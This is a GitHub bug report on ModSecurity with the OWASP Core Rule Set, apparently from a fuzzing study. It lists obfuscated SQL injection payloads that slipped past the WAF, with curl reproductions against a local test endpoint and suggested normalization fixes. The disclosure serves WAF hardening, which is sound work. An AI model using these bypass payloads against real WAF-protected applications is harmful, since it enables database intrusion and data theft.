Skip to content

ModSecurity GET(JSON): SQLi bypass via separator, literal, and annotation variants #3586

Description

@WAFSignal

[ModSecurity][GET(JSON)] SQLi bypass via lexical-separator variants and literal/annotation variants

Summary

  • WAF: ModSecurity
  • Request manner: GET(JSON)
  • Defect pattern: Lexical-separator variants and literal/annotation variants.
  • Evaluation scope: 623 unique SQLi mutation attempts; 257 successful bypasses were observed in this manner.
  • In our log format, 1 => 0 means the WAF decision changed from malicious/blocked to benign/allowed.

Environment

  • WAF version: 3.0.6
  • Notes: ModSecurity-nginx connector v1.0.2; OWASP Core Rule Set 3.3.2; OpenResty 1.19.9.1.

Mutation Rules Involved

The study associates this pattern with the following concrete fuzzer rules:

  • command_injection: combines space-to-comment substitution with comment rewriting
  • random_case: randomly changes capitalization of SQL keywords
  • spaces_to_comments: replaces spaces with inline block comments, or block comments with spaces
  • comment_rewriting: appends noise after line comments or rewrites block-comment contents
  • inline_comment: wraps SQL keywords in MySQL executable comments such as /*!SELECT*/

Invisible-character Notation

The payload excerpts below render invisible characters explicitly so they can be reviewed and reproduced:

  • <TAB> = horizontal tab (\t, U+0009)
  • <LF> = line feed (\n, U+000A)
  • <CR> = carriage return (\r, U+000D)
  • <FF> = form feed (\f, U+000C)
  • <VT> = vertical tab (\v, U+000B)
  • <NBSP> = non-breaking space (U+00A0)

Representative Successful Examples

Case 1

  • Final decision change: 1 => 0
  • Matching rationale: The transformed payload relies on separator, literal, or annotation changes that should normalize to the same SQL token stream. Observable features: lexical separator, literal variant, annotation variant.
  • Original payload excerpt:
...1%"));begin user_lock.sleep(5); end and (("%"="
  • Transformed payload excerpt, with invisible characters rendered explicitly:
(/*TQ6M#*//*0x2@zCf*/0x1)%"));begin user_lock.sleep((SELECT/*Lhd#*/(SELECT/**/(SELECT/**/5))));/**/end/**/and/*tYS}*/(("%"=")Tu

Minimal Reproduction

  • Endpoint: http://127.0.0.1:9000/waf
  • Method: GET
  • JSON carrier query parameter: data
  • JSON object before transport encoding: {"id":"<payload>"}
  • Transport encoding: the full JSON object is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9000/waf?data=%7B%22id%22%3A%22%28%2F%2ATQ6M%23%2A%2F%2F%2A0x2%40zCf%2A%2F0x1%29%25%5C%22%29%29%3Bbegin%20user_lock.sleep%28%28SELECT%2F%2ALhd%23%2A%2F%28SELECT%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5%29%29%29%29%3B%2F%2A%2A%2Fend%2F%2A%2A%2Fand%2F%2AtYS%7D%2A%2F%28%28%5C%22%25%5C%22%3D%5C%22%29Tu%22%7D'

Case 2

  • Final decision change: 1 => 0
  • Matching rationale: The transformed payload relies on separator, literal, or annotation changes that should normalize to the same SQL token stream. Observable features: lexical separator, literal variant, annotation variant.
  • Original payload excerpt:
... end and '%' = '
  • Transformed payload excerpt, with invisible characters rendered explicitly:
 /* =jl$*/<TAB>/*nA?*//*_#<VT>*/'%' <TAB>/*0x8#$X1*/ '0x7*.0x4

Minimal Reproduction

  • Endpoint: http://127.0.0.1:9000/waf
  • Method: GET
  • JSON carrier query parameter: data
  • JSON object before transport encoding: {"id":"<payload>"}
  • Transport encoding: the full JSON object is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9000/waf?data=%7B%22id%22%3A%22%20%2F%2A%20%3Djl%24%2A%2F%5Ct%2F%2AnA%3F%2A%2F%2F%2A_%23%5Cu000b%2A%2F%27%25%27%20%5Ct%2F%2A0x8%23%24X1%2A%2F%20%270x7%2A.0x4%22%7D'

Case 3

  • Final decision change: 1 => 0
  • Matching rationale: The transformed payload relies on separator, literal, or annotation changes that should normalize to the same SQL token stream. Observable features: lexical separator, literal variant, annotation variant.
  • Original payload excerpt:
...1" where 9669=9669;select sleep(5)--
  • Transformed payload excerpt, with invisible characters rendered explicitly:
1"/*K?2*//*=*//*bE*/9669=0x25c5;/**//*L\\#1O*/sleep((select 0x5))--<q

Minimal Reproduction

  • Endpoint: http://127.0.0.1:9000/waf
  • Method: GET
  • JSON carrier query parameter: data
  • JSON object before transport encoding: {"id":"<payload>"}
  • Transport encoding: the full JSON object is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9000/waf?data=%7B%22id%22%3A%221%5C%22%2F%2AK%3F2%2A%2F%2F%2A%3D%2A%2F%2F%2AbE%2A%2F9669%3D0x25c5%3B%2F%2A%2A%2F%2F%2AL%5C%5C%231O%2A%2Fsleep%28%28select%200x5%29%29--%3Cq%22%7D'

Suggested Fixes

  • Apply canonicalization before SQLi matching: collapse TAB/CR/VT/FF/NBSP to ordinary spaces, normalize keyword case, and safely process regular and executable comments.
  • Normalize literal forms and comment-split tokens, for example 0x1 to 1 and uni/**/on to union, before evaluating SQLi rules.
  • Add these transformed payloads as regression tests and assert that they remain blocked after the fix.

Validation Plan

  • Replay the representative transformed payloads through the same request manner and confirm that the WAF still blocks them.
  • Add negative tests with benign requests containing ordinary comments, whitespace, or JSON formatting to monitor false positives.
  • Run the same canonicalization path across GET, GET(JSON), and POST to prevent request-manner-specific drift.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions